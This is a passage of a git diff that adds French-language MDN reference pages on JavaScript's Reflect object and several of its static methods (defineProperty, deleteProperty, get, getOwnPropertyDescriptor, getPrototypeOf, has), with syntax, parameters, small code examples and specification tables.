+ <dd>Les attributs de de la propriété qu'on ajoute ou qu'on modifie.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui indique si la propriété a bien été définie.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.defineProperty</code> permet d'ajouter ou de modifier finement une propriété d'un objet. Pour plus de détails, voir la méthode {{jsxref("Object.defineProperty")}} qui est très similaire. <code>Object.defineProperty</code> renvoie l'objet et lève une {{jsxref("TypeError")}} si la propriété n'a pas correctement été définie. <code>Reflect.defineProperty</code> renvoie simplement un {{jsxref("Boolean")}} qui indique si la propriété a été définie avec succès ou non.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.defineProperty()">Utiliser <code>Reflect.defineProperty()</code></h3>
+
+<pre class="brush: js">var obj = {};
+Reflect.defineProperty(obj, "x", {value: 7}); // true
+obj.x; // 7
+</pre>
+
+<h3 id="Vérifier_si_la_définition_de_propriété_a_réussi">Vérifier si la définition de propriété a réussi</h3>
+
+<p>{{jsxref("Object.defineProperty")}} renvoie un objet si la définition a réussi ou lève une exception {{jsxref("TypeError")}} sinon, ce qui implique d'utiliser un bloc <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/try...catch">try...catch</a></code> pour attraper l'erreur. <code>Reflect.defineProperty</code> renvoie un booléen pour indiquer la réussite ou l'échec, un bloc <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if...else</a></code> suffit :</p>
+
+<pre class="brush: js">if (Reflect.defineProperty(cible, propriété, attributs)) {
+  // succès
+} else {
+  // échec
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.defineProperty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html
new file mode 100644
index 0000000000..f5ba3abedc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html
@@ -0,0 +1,96 @@
+---
+title: Reflect.deleteProperty()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/deleteProperty
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.deleteProperty()</code></strong> permet de supprimer des propriétés. Il agit comme l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete"><code>delete</code></a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-deleteproperty.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.deleteProperty(<var>cible</var>, <var>cléPropriété</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible sur lequel on souhaite supprimer la propriété.</dd>
+ <dt><code>cléPropriété</code></dt>
+ <dd>Le nom de la propriété à supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui indique si la suppression de la propriété s'est bien passée.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.deleteProperty</code> permet de supprimer une propriété d'un objet. Elle renvoie un {{jsxref("Boolean")}} qui indique si la propriété a été supprimée correctement. Cette méthode est très proche de l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete"><code>delete</code></a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var obj = { x: 1, y: 2 };
+Reflect.deleteProperty(obj, "x"); // true
+obj; // { y: 2 }
+
+var arr = [1, 2, 3, 4, 5];
+Reflect.deleteProperty(arr, "3"); // true
+arr; // [1, 2, 3, , 5]
+
+// Renvoie true si aucune propriété correspondante n'existe
+Reflect.deleteProperty({}, "toto"); // true
+
+// Renvoie false si une propriété n'est pas configurable
+Reflect.deleteProperty(Object.freeze({toto: 1}),"toto"); // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.deleteProperty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">Opérateur <code>delete</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html
new file mode 100644
index 0000000000..8538b87538
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html
@@ -0,0 +1,98 @@
+---
+title: Reflect.get()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/get
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect.get()</strong></code> est une fonction qui permet d'obtenir une propriété d'un objet cible. Elle fonctionne comme (<code>cible[cléPropriété]</code>) mais sous la forme d'une fonction.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-get.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.get(<var>cible</var>, <var>cléPropriété</var>[, <var>récepteur</var>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on souhaite obtenir la propriété.</dd>
+ <dt><code>cléPropriété</code></dt>
+ <dd>Le nom de la propriété qu'on souhaite obtenir.</dd>
+ <dt><code>récepteur</code> {{optional_inline}}</dt>
+ <dd>La valeur de <code>this</code> à passer à <code>cible</code> si l'accesseur est utilisé. Lorsqu'on l'utilise avec {{jsxref("Proxy")}}, ce peut être un objet qui hérite de la cible.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de la propriété.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.get</code> permet d'obtenir une propriété d'un objet. Elle est équivalent à <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">un accesseur de propriété</a> mais sous la forme d'une fonction.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Object
+var obj = { x: 1, y: 2 };
+Reflect.get(obj, "x"); // 1
+
+// Array
+Reflect.get(["zero", "un"], 1); // "un"
+
+// Proxy qui intercepte get
+var x = {p: 1};
+var obj = new Proxy(x, {
+  get(t, k, r) { return k + "truc"; }
+});
+Reflect.get(obj, "toto"); // "tototruc"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.get")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">Accesseurs de propriété</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..77db7ad5e1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html
@@ -0,0 +1,103 @@
+---
+title: Reflect.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/getOwnPropertyDescriptor
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.getOwnPropertyDescriptor()</code></strong> est similaire à {{jsxref("Object.getOwnPropertyDescriptor()")}}. Elle renvoie un descripteur de propriété pour la propriété visée si elle existe sur l'objet, sinon, elle renvoie {{jsxref("undefined")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-getownpropertydescriptor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.getOwnPropertyDescriptor(<var>cible</var>, <var>cléPropriété</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible sur lequel on cherche la propriété.</dd>
+ <dt><code>cléPropriété</code></dt>
+ <dd>Le nom de la propriété dont on veut obtenir le descripteur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet qui est un descripteur de propriété si elle existe sur l'objet cible ou {{jsxref("undefined")}} dans le cas contraire.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.getOwnPropertyDescriptor</code> renvoie un descripteur pour la propriété demandée si celle-ci existe sur l'objet, sinon, elle renvoie {{jsxref("undefined")}}. La seule différence avec {{jsxref("Object.getOwnPropertyDescriptor()")}} est la façon dont les cibles qui ne sont pas des objets sont gérées.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.getOwnPropertyDescriptor()">Utiliser <code>Reflect.getOwnPropertyDescriptor()</code></h3>
+
+<pre class="brush: js">Reflect.getOwnPropertyDescriptor({x: "coucou"}, "x");
+// {value: "coucou", writable: true, enumerable: true, configurable: true}
+
+Reflect.getOwnPropertyDescriptor({x: "coucou"}, "y");
+// undefined
+
+Reflect.getOwnPropertyDescriptor([], "length");
+// {value: 0, writable: true, enumerable: false, configurable: false}
+</pre>
+
+<h3 id="Différence_avec_Object.getOwnPropertyDescriptor()">Différence avec <code>Object.getOwnPropertyDescriptor()</code></h3>
+
+<p>Si le premier argument passé à la méthode n'est pas un objet (autrement dit si c'est une valeur de type primitif), cela causera une exception {{jsxref("TypeError")}}. Si on utilise {{jsxref("Object.getOwnPropertyDescriptor")}}, une valeur qui n'est pas un objet sera d'abord convertie en objet.</p>
+
+<pre class="brush: js">Reflect.getOwnPropertyDescriptor("toto", 0);
+// TypeError: "toto" is not non-null object
+
+Object.getOwnPropertyDescriptor("toto", 0);
+// { value: "toto", writable: false, enumerable: true, configurable: false }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.getOwnPropertyDescriptor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html
new file mode 100644
index 0000000000..c59fff975a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html
@@ -0,0 +1,106 @@
+---
+title: Reflect.getPrototypeOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/getPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.getPrototypeOf()</code></strong> est semblable à la méthode {{jsxref("Object.getPrototypeOf()")}}. Elle renvoie le prototype (c'est-à-dire la valeur de la propriété interne <code>[[Prototype]]</code>) de l'objet donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-getprototypeof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.getPrototypeOf(<var>cible</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on souhaite obtenir le prototype.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le prototype de l'objet ou {{jsxref("null")}} s'il n'y a aucune propriété héritée.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.getPrototypeOf</code> renvoie le prototype (qui correspond en réalité à la valeur de la propriété interne <code>[[Prototype]]</code>) de l'objet passé en argument.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Reflect.getPrototypeOf()">Utiliser <code>Reflect.getPrototypeOf()</code></h3>
+
+<pre class="brush: js">Reflect.getPrototypeOf({}); // Object.prototype
+Reflect.getPrototypeOf(Object.prototype); // null
+Reflect.getPrototypeOf(Object.create(null)); // null
+</pre>
+
+<h3 id="Comparaison_avec_Object.getPrototypeOf()">Comparaison avec <code>Object.getPrototypeOf()</code></h3>
+
+<pre class="brush: js">// Résultat identiques pour les objets
+Object.getPrototypeOf({});  // Object.prototype
+Reflect.getPrototypeOf({}); // Object.prototype
+
+// Exception levée avec ES5 pour les valeurs qui ne sont pas des objets
+Object.getPrototypeOf('toto');  // Throws TypeError
+Reflect.getPrototypeOf('toto'); // Throws TypeError
+
+// Avec ES2015 (ES6), seul Reflect lève une exception
+// Object convertit automatiquement les valeurs en objets
+Object.getPrototypeOf('toto');  // String.prototype
+Reflect.getPrototypeOf('toto'); // Throws TypeError
+
+// Pour obtenir le même effet qu'avec Object en ES2015, il
+// faut ajouter une opération de conversion explicite
+Reflect.getPrototypeOf(Object('toto')); // String.prototype
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.getPrototypeOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html
new file mode 100644
index 0000000000..66b230f065
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html
@@ -0,0 +1,96 @@
+---
+title: Reflect.has()
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/has
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Reflect</strong></code><strong><code>.has()</code></strong> fonctionne comme <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">l'opérateur <code>in</code></a> mais sous forme d'une fonction.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-has.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Reflect.has(<var>cible</var>, <var>cléPropriété</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible dont on souhaite savoir s'il contient la propriété donnée.</dd>
+ <dt><code>cléPropriété</code></dt>
+ <dd>Le nom de la propriété dont on souhaite vérifier la présence.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} qui indique si la propriété recherchée est présente sur l'objet cible.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Une erreur {{jsxref("TypeError")}} si <code>cible</code> n'est pas un {{jsxref("Object")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Reflect.has</code> vous permet de vérifier si une propriété est présente sur un objet. C'est une fonction qui agit comme l'opérateur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in"><code>in</code></a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Reflect.has({x: 0}, "x"); // true
+Reflect.has({x: 0}, "y"); // false
+
+// renvoie true pour les propriétés présentes
+// grâce à la chaîne de prototypes
+Reflect.has({x: 0}, "toString");
+
+// Proxy avec la méthode .has()
+obj = new Proxy({}, {
+  has(t, k) { return k.startsWith("bou"); }
+});
+Reflect.has(obj, "bouchon"); // true
+Reflect.has(obj, "bonbon");  // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.has', 'Reflect.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">Opérateur <code>in</code></a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/index.html
new file mode 100644
index 0000000000..8a1383c7b5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/reflect/index.html
@@ -0,0 +1,85 @@
+---
+title: Reflect
+slug: Web/JavaScript/Reference/Objets_globaux/Reflect
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code> est un objet natif qui fournit des méthodes pour les opérations qui peuvent être interceptées en JavaScript (via les proxies). Les méthodes de cet objet sont les mêmes que celles des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler">gestionnaires de proxy</a>. <code>Reflect</code> n'est pas une fonction (y compris pour construire un objet).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Contrairement à la plupart des objets globaux, <code>Reflect</code> n'est pas un constructeur. Il ne peut pas être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} ou être invoqué comme une fonction. Les propriétés et méthodes de <code>Reflect</code> sont statiques (comme pour celles de l'objet {{jsxref("Math")}}).</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet <code>Reflect</code> fournit des fonctions statiques qui ont les mêmes noms que les méthodes des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler">gestionnaires de proxy</a> et dont certaines correspondent, <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Reflect/Comparing_Reflect_and_Object_methods">avec quelques différences</a>, à celles d'{{jsxref("Object")}} :</p>
+
+<dl>
+ <dt>{{jsxref("Reflect.apply()")}}</dt>
+ <dd>Appelle une fonction cible avec les arguments définis par le paramètres <code>args</code>. Voir aussi {{jsxref("Function.prototype.apply()")}}.</dd>
+ <dt>{{jsxref("Reflect.construct()")}}</dt>
+ <dd> L'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} comme fonction. C'est équivalent à <code>new cible(...args)</code>. Cette méthode permet également d'indiquer un prototype différent.</dd>
+ <dt>{{jsxref("Reflect.defineProperty()")}}</dt>
+ <dd>Semblable à {{jsxref("Object.defineProperty()")}}. Renvoie un {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.deleteProperty()")}}</dt>
+ <dd>L'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} comme fonction. C'est équivalent à <code>delete cible[nom]</code>.</dd>
+ <dt>{{jsxref("Reflect.get()")}}</dt>
+ <dd>Une fonction qui renvoie la valeur d'une propriété.</dd>
+ <dt>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Semblable à {{jsxref("Object.getOwnPropertyDescriptor()")}}. Renvoie un descripteur de propriété si la propriété existe sur l'objet, {{jsxref("undefined")}} sinon.</dd>
+ <dt>{{jsxref("Reflect.getPrototypeOf()")}}</dt>
+ <dd>Identique à {{jsxref("Object.getPrototypeOf()")}}.</dd>
+ <dt>{{jsxref("Reflect.has()")}}</dt>
+ <dd>L'opérateur {{jsxref("Opérateurs/L_opérateur_in","in")}} comme fonction. Renvoie un booléen qui indique si une telle propriété existe pour l'objet (qu'elle soit directement rattachée ou héritée).</dd>
+ <dt>{{jsxref("Reflect.isExtensible()")}}</dt>
+ <dd>La même fonction que {{jsxref("Object.isExtensible()")}}.</dd>
+ <dt>{{jsxref("Reflect.ownKeys()")}}</dt>
+ <dd>Renvoie un tableau de chaînes de caractères qui correspondent aux noms des propriétés propres (celles qui ne sont pas héritées) de l'objet.</dd>
+ <dt>{{jsxref("Reflect.preventExtensions()")}}</dt>
+ <dd>Semblable à {{jsxref("Object.preventExtensions()")}}. Renvoie un {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.set()")}}</dt>
+ <dd>Une fonction qui affecte des valeurs à des propriétés. Renvoie un {{jsxref("Boolean")}} qui vaut <code>true</code> si la mise à jour a bien été effectuée.</dd>
+ <dt>{{jsxref("Reflect.setPrototypeOf()")}}</dt>
+ <dd>Une fonction qui permet de définir le prototype d'un objet.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
